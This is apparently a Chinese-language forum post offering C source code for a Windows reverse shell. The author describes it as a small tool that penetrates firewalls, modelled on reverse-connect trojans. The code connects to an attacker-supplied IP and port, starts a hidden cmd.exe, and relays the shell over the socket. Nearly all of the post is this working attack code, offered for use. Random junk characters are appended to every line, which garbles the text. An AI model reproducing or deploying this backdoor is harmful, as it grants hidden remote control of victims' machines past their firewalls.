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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 DT&@^$?  
t&e{_|i#+  
/* ============================== }a(dyr`S  
Rebound port in Windows NT 0*{%=M  
By wind,2006/7 )|# sfHv7  
===============================*/ k!'a,R:  
#include ,/|T-Ka  
#include m#\ dSl}  
{V CWn95Z  
#pragma comment(lib,"wsock32.lib") )irEM  
'YSHi\z ](  
void OutputShell(); z9Rp`z&`E  
SOCKET sClient; 3eQ&F~S  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; `*1p0~cu  
p>8D;#Hm L  
void main(int argc,char **argv) d<P\&!R(  
{ NyNXP_8  
WSADATA stWsaData; ' %o#q6O  
int nRet; WX3-\Y5E  
SOCKADDR_IN stSaiClient,stSaiServer; O)r4?<Q  
WOL:IZX%  
if(argc != 3) cTTL1SW  
{ m^;f(IK5  
printf("Useage:\n\rRebound DestIP DestPort\n"); xMG~N`r  
return; z*% q@]ym  
} smo~7;  
B \2 SH%\  
WSAStartup(MAKEWORD(2,2),&stWsaData); u;2[AQ.  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WdbedU~`Q  
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stSaiClient.sin_family = AF_INET; a<bwzX|.  
stSaiClient.sin_port = htons(0); T1=fNF  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "@2-Zdrr1<  
S;`A{Mow  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Q>Yjy!. <^  
{ VRB;$  
printf("Bind Socket Failed!\n"); ^s"R$?;h  
return; dDLeSz$b  
} Y`a3tO=Pd  
{F.[&/A  
stSaiServer.sin_family = AF_INET; nZYBE030  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); E$p+}sP(C  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); *b\t#meS&  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &gx%b*;`L0  
{ Qq|57X)P*  
printf("Connect Error!"); ['iPl/v0  
return; Q hO!Ma]  
} YT(AUS5n  
OutputShell(); BLD gt~h#  
} V1M.JU  
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void OutputShell() %n9aaoD  
{ vUM4S26"NT  
char szBuff[1024]; >pe.oxY  
SECURITY_ATTRIBUTES stSecurityAttributes; C e$w8z  
OSVERSIONINFO stOsversionInfo; $1`2 kM5  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; cSV aI  
STARTUPINFO stStartupInfo; DN:EB @  
char *szShell; \ }G> 8^  
PROCESS_INFORMATION stProcessInformation; k;FUs[  
unsigned long lBytesRead; 3)ywX&4"L  
^k9I(f^c-_  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); wI/iuc  
xU`p|(SS-  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); H9e<v4 c  
stSecurityAttributes.lpSecurityDescriptor = 0; {R6ZKB  
stSecurityAttributes.bInheritHandle = TRUE; \bw2u!  
<7jW _R@  
8bld3p"^  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ~b8]H|<'Y  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ?$4 PVI}  
9djk[ttA)  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -(H0>Ap  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %1+4_g9  
stStartupInfo.wShowWindow = SW_HIDE; (SAs-  
stStartupInfo.hStdInput = hReadPipe; Rnq7LGy  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; c{w2Gt!  
qlPT Ll  
GetVersionEx(&stOsversionInfo); <wD-qTW  
[/8%3  
switch(stOsversionInfo.dwPlatformId) S30%)<W  
{ 0<@@?G  
case 1: IjnU?Bf  
szShell = "command.com"; 'TB2:W3  
break; _X x/(.O  
default: z~s PXGb  
szShell = "cmd.exe"; 13x p_j  
break; `VguQl_,gA  
} b4N[)%@  
=@~Y12o?%  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); '}Z<h?9  
' S/gmn  
send(sClient,szMsg,77,0); fe_5LC"  
while(1) X#^[<5  
{ GnJt0{  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); G]&qx`TBK  
if(lBytesRead) }Jj}%XxKs  
{ nAlQ7 '  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); + mT_QsLEv  
send(sClient,szBuff,lBytesRead,0); |+D!= :x  
} a9Zq{Ysj  
else FfT`;j  
{ .8JTe 0  
lBytesRead=recv(sClient,szBuff,1024,0); SOA,kwHRe  
if(lBytesRead<=0) break; 5\VWCI  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); c@L< Z`u  
} U|R_OLWAg  
} F*ylnB3z  
l+0oS'`V*L  
return; I{=Qtnlb  
}
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